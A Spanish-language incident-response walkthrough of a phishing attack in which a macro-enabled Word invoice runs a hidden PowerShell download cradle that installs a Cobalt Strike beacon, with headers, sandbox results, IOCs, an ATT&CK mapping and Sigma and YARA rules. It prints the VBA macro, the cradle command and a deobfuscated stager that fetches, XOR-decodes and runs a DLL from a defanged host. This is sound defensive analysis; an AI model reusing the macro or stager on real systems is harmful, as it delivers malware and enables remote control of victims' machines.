Phishing con Macro Office a Cobalt Strike: Walkthrough Completo
Walkthrough completo de un ataque phishing con documento Word malicioso que descarga un Cobalt Strike beacon. Análisis del email, macro VBA, PowerShell cradle, beacon C2 y extracción de IOCs con mapeo MITRE ATT&CK.
Escenario: el email que inicia todo
Son las 09:14 de un martes. El equipo SOC recibe una alerta de su gateway de correo: un usuario del departamento de contabilidad ha abierto un adjunto Word de un email que pasó los filtros antispam. El asunto del mensaje: "Factura pendiente de pago #INV-2026-4471".
El email proviene aparentemente de un proveedor conocido. La dirección del remitente es facturas@logistica-express[.]net, un dominio registrado hace 72 horas con datos de registro WHOIS privados. El cuerpo del mensaje contiene lenguaje profesional, referencias a pedidos reales (probablemente obtenidos de un compromiso previo) y un documento Word adjunto llamado Factura_INV-2026-4471.docm.
Este walkthrough sigue la cadena completa del ataque: desde el triaje del email hasta la identificación del beacon Cobalt Strike, con extracción de IOCs y mapeo ATT&CK en cada fase.
Fase 1: Triaje del email
Análisis de headers
El primer paso es examinar los headers del correo sin abrir el adjunto. Los campos relevantes:
Return-Path: bounce-7742@logistica-express[.]net
Received: from mail.logistica-express[.]net (185.234.72[.]91)
by mx.empresa.local with ESMTPS id j7si3284712
Date: Tue, 03 Jun 2026 08:47:22 +0000
From: "Logistica Express - Facturacion" <facturas@logistica-express[.]net>
Subject: Factura pendiente de pago #INV-2026-4471
X-Mailer: Microsoft Outlook 16.0
DKIM-Signature: v=1; a=rsa-sha256; d=logistica-express[.]net; s=default;
Hallazgos inmediatos:
- Dominio joven:
logistica-express[.]netregistrado hace 72 horas. Los proveedores legítimos no cambian de dominio. - IP de origen:
185.234.72[.]91pertenece a un proveedor de hosting en Moldavia (AS49981). No coincide con la infraestructura del proveedor real. - DKIM válido: El atacante configuró DKIM para su dominio. DKIM solo confirma que el email salió de ese dominio, no que el dominio sea legítimo.
- SPF pass: El registro SPF del dominio del atacante autoriza su IP. Otro control que solo valida consistencia, no legitimidad.
Análisis del adjunto (sin ejecución)
Antes de abrir el fichero, extraemos metadatos con file y calculamos hashes:
$ file Factura_INV-2026-4471.docm
Factura_INV-2026-4471.docm: Microsoft Word 2007+ (macro-enabled)
$ sha256sum Factura_INV-2026-4471.docm
a3f4b8c9d2e1f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0
$ ssdeep Factura_INV-2026-4471.docm
3072:kL5jN8qK2mP9rT4wX7zA3fH6iB0dG1eC:kLhN8K2mPrTwXzAfHiB0G1C
La extensión .docm confirma macros habilitadas. Un .docx legítimo no contiene macros.
Fase 2: Análisis de la macro VBA
Extracción con olevba
Usamos olevba del paquete oletools para extraer el código VBA sin ejecutar el documento:
$ olevba Factura_INV-2026-4471.docm
Resultado (simplificado):
Sub AutoOpen()
Dim sCmd As String
Dim oShell As Object
sCmd = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) _
& Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
Dim sPayload As String
sPayload = "IEX((New-Object Net.WebClient).DownloadString(" _
& "'hxxps://cdn-static-assets[.]com/js/analytics.js'))"
Set oShell = CreateObject("WScript.Shell")
oShell.Run sCmd & " -w hidden -ep bypass -c """ & sPayload & """", 0, False
Set oShell = Nothing
End Sub
Deobfuscación
La técnica de ofuscación es básica: Chr() para ocultar la cadena powershell. Decodificando:
Chr(112)=p, Chr(111)=o, Chr(119)=w, Chr(101)=e, Chr(114)=r,
Chr(115)=s, Chr(104)=h, Chr(101)=e, Chr(108)=l, Chr(108)=l
→ "powershell"
El comando completo que ejecuta la macro:
powershell -w hidden -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('hxxps://cdn-static-assets[.]com/js/analytics.js'))"
Indicadores de maliciosidad en la macro:
| Indicador | Descripción | Severidad |
|---|---|---|
AutoOpen() | Ejecución automática al abrir el documento | Alta |
CreateObject("WScript.Shell") | Creación de shell para ejecutar comandos | Alta |
Chr() concatenado | Ofuscación de strings para evadir detección | Media |
-w hidden | Ventana de PowerShell oculta al usuario | Alta |
-ep bypass | Evasión de la política de ejecución de scripts | Alta |
DownloadString | Descarga de código remoto para ejecución en memoria | Crítica |
Indicadores adicionales con strings
$ strings -a Factura_INV-2026-4471.docm | grep -i "http\|powershell\|cmd\|shell"
Los resultados confirman las URLs y comandos identificados por olevba, más una segunda URL de fallback: hxxps://update-service-cdn[.]net/api/v2/check.
Fase 3: Ejecución en sandbox
Ejecutamos el documento en una VM aislada (Windows 10, host-only network, FakeNet-NG activo) con las siguientes herramientas de monitorización:
- Procmon: captura de procesos, registro y sistema de archivos
- Wireshark: captura de tráfico de red
- FakeNet-NG: simulación de servicios de red (DNS, HTTP, HTTPS)
- Process Hacker: árbol de procesos en tiempo real
Cadena de ejecución observada
WINWORD.EXE
└─ cmd.exe /c powershell -w hidden -ep bypass -c "IEX(...)"
└─ powershell.exe
└─ rundll32.exe (inyección en proceso legítimo)
El árbol de procesos muestra la cadena típica: Word genera cmd.exe, que lanza PowerShell oculto, que finalmente inyecta código en rundll32.exe.
Eventos de Procmon relevantes
| Timestamp | Proceso | Operación | Path / Detalle |
|---|---|---|---|
| 09:14:02 | WINWORD.EXE | Process Create | cmd.exe |
| 09:14:03 | cmd.exe | Process Create | powershell.exe |
| 09:14:04 | powershell.exe | TCP Connect | 104.21.89[.]47:443 (cdn-static-assets[.]com) |
| 09:14:05 | powershell.exe | CreateFile | %TEMP%\svchost_update.dll |
| 09:14:05 | powershell.exe | Process Create | rundll32.exe svchost_update.dll,DllMain |
| 09:14:06 | rundll32.exe | RegSetValue | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate |
| 09:14:07 | rundll32.exe | TCP Connect | 91.215.85[.]142:443 |
Fase 4: PowerShell download cradle
Descarga del stager
El script descargado desde cdn-static-assets[.]com/js/analytics.js no es JavaScript. Es un script PowerShell ofuscado:
# Deobfuscado:
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
$wc.Headers.Add("Cookie", "session=YWRtaW4tcGFuZWw=")
$bytes = $wc.DownloadData("hxxps://cdn-static-assets[.]com/img/logo.png")
# XOR decode con clave 0x3F
$decoded = @()
for ($i = 0; $i -lt $bytes.Length; $i++) {
$decoded += $bytes[$i] -bxor 0x3F
}
# Escribe DLL a disco
$path = "$env:TEMP\svchost_update.dll"
[IO.File]::WriteAllBytes($path, [byte[]]$decoded)
# Ejecuta via rundll32
Start-Process rundll32.exe -ArgumentList "$path,DllMain" -WindowStyle Hidden
Técnicas empleadas en el stager:
- Descarga disfrazada: El payload se sirve como imagen PNG (extensión
.png, Content-Type manipulado). - XOR simple: Clave de un byte (
0x3F) para evadir detección por firmas estáticas. - Living off the Land: Usa
rundll32.exe(binario legítimo de Windows) para cargar la DLL maliciosa. - User-Agent legítimo: Imita un navegador real para evadir detección basada en user-agent.
Hash del payload decodificado
SHA256: e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8
MD5: 9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d
Fase 5: Cobalt Strike beacon analysis
Identificación del beacon
La DLL descargada (svchost_update.dll) es un Cobalt Strike beacon. Lo confirmamos con múltiples indicadores:
Análisis estático de la DLL:
$ file svchost_update.dll
PE32+ executable (DLL) x86-64
$ strings svchost_update.dll | head -20
# Resultado: pocas strings legibles (típico de beacon empaquetado)
$ diec svchost_update.dll
# Detect It Easy: empaquetado con sección .data de alta entropía (7.89)
Extracción de configuración con CobaltStrikeParser:
$ python3 parse_beacon_config.py svchost_update.dll
Configuración extraída:
BeaconType: HTTPS
Port: 443
SleepTime: 60000 # 60 segundos
MaxGetSize: 1048576
Jitter: 37 # 37% variación
C2Server: 91.215.85[.]142,/api/v2/status
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
HttpPostUri: /api/v2/submit
SpawnTo_x86: %windir%\syswow64\rundll32.exe
SpawnTo_x64: %windir%\sysnative\rundll32.exe
PipeName: \\.\pipe\msagent_f8
Watermark: 305419896
DNS_Idle: 0.0.0.0
Indicadores clave del beacon
| Campo | Valor | Significado |
|---|---|---|
| C2Server | 91.215.85[.]142 | IP del servidor de comando y control |
| SleepTime | 60000 ms | El beacon contacta al C2 cada 60 segundos |
| Jitter | 37% | Variación aleatoria del sleep (38-82 segundos) |
| Watermark | 305419896 | Identificador de licencia (puede ser crackeada) |
| PipeName | \\.\pipe\msagent_f8 | Named pipe para comunicación lateral (SMB beacon) |
| SpawnTo | rundll32.exe | Proceso legítimo donde inyecta código |
Fase 6: Comunicación C2
Tráfico de red capturado
Con Wireshark y FakeNet-NG, capturamos el patrón de comunicación:
Fase de check-in (GET):
GET /api/v2/status HTTP/1.1
Host: 91.215.85[.]142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: PHPSESSID=aGVsbG8gd29ybGQgdGhpcyBpcyBub3QgcmVhbA==
Accept: text/html,application/xhtml+xml
Connection: keep-alive
Fase de exfiltración (POST):
POST /api/v2/submit HTTP/1.1
Host: 91.215.85[.]142
Content-Type: application/octet-stream
Content-Length: 4821
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Indicadores de red del beacon:
- JA3 fingerprint:
72a589da586844d7f0818ce684948eea(conocido como Cobalt Strike JA3) - JA3S fingerprint:
ae4edc6faf64d08308082ad26be60767 - Patrón de URIs: Paths tipo API REST (
/api/v2/status,/api/v2/submit) - Cookie sospechosa: Base64 en la cookie
PHPSESSID(datos exfiltrados codificados) - Intervalos: Conexiones cada 38-82 segundos (sleep 60s + jitter 37%)
Persistencia establecida
El beacon creó una clave de registro para persistencia:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nombre: WindowsUpdate
Valor: rundll32.exe C:\Users\<user>\AppData\Local\Temp\svchost_update.dll,DllMain
IOCs extraídos
Indicadores de red
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 185.234.72[.]91 | Servidor SMTP del phishing |
| IPv4 | 104.21.89[.]47 | Hosting del stager (CDN) |
| IPv4 | 91.215.85[.]142 | Servidor C2 Cobalt Strike |
| Domain | logistica-express[.]net | Dominio del phishing |
| Domain | cdn-static-assets[.]com | Hosting del stager |
| Domain | update-service-cdn[.]net | URL de fallback |
| URL | hxxps://cdn-static-assets[.]com/js/analytics.js | Download cradle |
| URL | hxxps://cdn-static-assets[.]com/img/logo.png | Payload XOR |
| JA3 | 72a589da586844d7f0818ce684948eea | Fingerprint TLS del beacon |
Indicadores de host
| Tipo | Valor | Contexto |
|---|---|---|
| SHA256 | a3f4b8c9d2e1f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0 | Documento Word malicioso |
| SHA256 | e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8 | DLL Cobalt Strike beacon |
| File | %TEMP%\svchost_update.dll | Beacon en disco |
| Registry | HKCU\...\Run\WindowsUpdate | Persistencia |
| Named Pipe | \\.\pipe\msagent_f8 | Comunicación lateral SMB |
| User-Agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | UA del beacon |
| Mutex | Global\msagent_mtx_f8a92b | Mutex del beacon |
Mapeo MITRE ATT&CK
| ID | Técnica | Táctica | Evidencia en este caso |
|---|---|---|---|
| T1566.001 | Spearphishing Attachment | Initial Access | Email con documento Word malicioso |
| T1204.002 | User Execution: Malicious File | Execution | Usuario abre el .docm y habilita macros |
| T1059.001 | PowerShell | Execution | Download cradle PowerShell oculto |
| T1059.005 | Visual Basic | Execution | Macro VBA con AutoOpen |
| T1027 | Obfuscated Files or Information | Defense Evasion | Chr() en macro, XOR en payload |
| T1140 | Deobfuscate/Decode Files | Defense Evasion | XOR decode del payload PNG |
| T1218.011 | Rundll32 | Defense Evasion | Carga de beacon via rundll32.exe |
| T1055 | Process Injection | Defense Evasion | Inyección en proceso legítimo |
| T1547.001 | Registry Run Keys | Persistence | Clave Run para persistencia |
| T1071.001 | Web Protocols | Command and Control | HTTPS C2 con beacon Cobalt Strike |
| T1573.002 | Asymmetric Cryptography | Command and Control | TLS 1.2 para cifrar comunicación C2 |
| T1029 | Scheduled Transfer | Exfiltration | Datos exfiltrados en intervalos regulares |
Lecciones aprendidas
Para el equipo SOC
-
Dominio joven como indicador primario: Un dominio registrado hace menos de 7 días que envía documentos con macros es casi siempre malicioso. Implementar reglas en el gateway de correo para retener adjuntos de dominios con menos de 30 días de antigüedad.
-
Macros en 2026 siguen funcionando: A pesar de los controles de Microsoft (MOTW, bloqueo por defecto), los usuarios siguen habilitando macros cuando el pretexto es convincente. La formación en concienciación debe incluir ejemplos específicos del sector.
-
Living off the Land complica la detección: El uso de PowerShell, rundll32.exe y claves de registro legítimas hace que la detección basada en procesos sea insuficiente. Se necesita correlación de eventos: Word genera cmd.exe que genera PowerShell con
-ep bypasses anómalo. -
JA3 como indicador de Cobalt Strike: Los fingerprints JA3/JA3S son indicadores de alta fidelidad para detectar beacons, incluso cuando el tráfico HTTPS no se puede descifrar.
Para el equipo de detección
Regla Sigma para la cadena de ejecución:
title: Office Application Spawning Suspicious Process Chain
id: e4a7b8c9-d2e1-4f5a-b6c7-d8e9f0a1b2c3
status: experimental
description: Detects Office spawning cmd/powershell with bypass flags
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
selection_child:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
selection_flags:
CommandLine|contains:
- '-ep bypass'
- '-executionpolicy bypass'
- '-w hidden'
- '-windowstyle hidden'
- 'DownloadString'
- 'DownloadFile'
condition: selection_parent and selection_child and selection_flags
level: high
Regla YARA para el stager PowerShell:
rule CobaltStrike_PowerShell_Stager {
meta:
description = "Detects PowerShell download cradle for CS stager"
author = "MalwareIntel Research"
date = "2026-06-06"
strings:
$s1 = "DownloadString" ascii
$s2 = "DownloadData" ascii
$s3 = "-bxor" ascii
$s4 = "WriteAllBytes" ascii
$s5 = "rundll32" ascii nocase
$s6 = "-w hidden" ascii
$s7 = "-ep bypass" ascii
condition:
3 of ($s*)
}
Acciones de contención realizadas
- Aislamiento del endpoint: Desconexión de red inmediata del equipo afectado.
- Bloqueo de IOCs: IPs y dominios añadidos a listas de bloqueo en firewall y proxy.
- Búsqueda de impacto: Correlación en SIEM para identificar otros usuarios que recibieron el mismo email.
- Reset de credenciales: Cambio de contraseñas del usuario afectado y revisión de accesos laterales.
- Preservación de evidencia: Imagen forense del disco y volcado de memoria antes de remediar.
Recursos
- oletools (olevba): Herramienta para extraer y analizar macros VBA. Disponible en PyPI:
pip install oletools. - CobaltStrikeParser: Extrae configuración de beacons Cobalt Strike. Repositorio de Sentinel One en GitHub.
- JA3/JA3S: Fingerprinting TLS para detección de C2. Proyecto original de Salesforce en GitHub.
- SigmaHQ: Repositorio de reglas Sigma para detección en SIEM. Regla
proc_creation_win_office_spawn_exe_from_temp.yml. - MITRE ATT&CK Navigator: Para visualizar el mapeo de técnicas de este caso. Disponible en
attack.mitre.org/navigator. - ANY.RUN: Sandbox interactiva para ejecutar documentos maliciosos. Permite observar la cadena de ejecución en tiempo real.
Los IOCs presentados en este artículo son ficticios pero realistas, diseñados con fines educativos. Los patrones de ataque, técnicas y herramientas de detección son aplicables a incidentes reales con cadenas de ataque similares.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.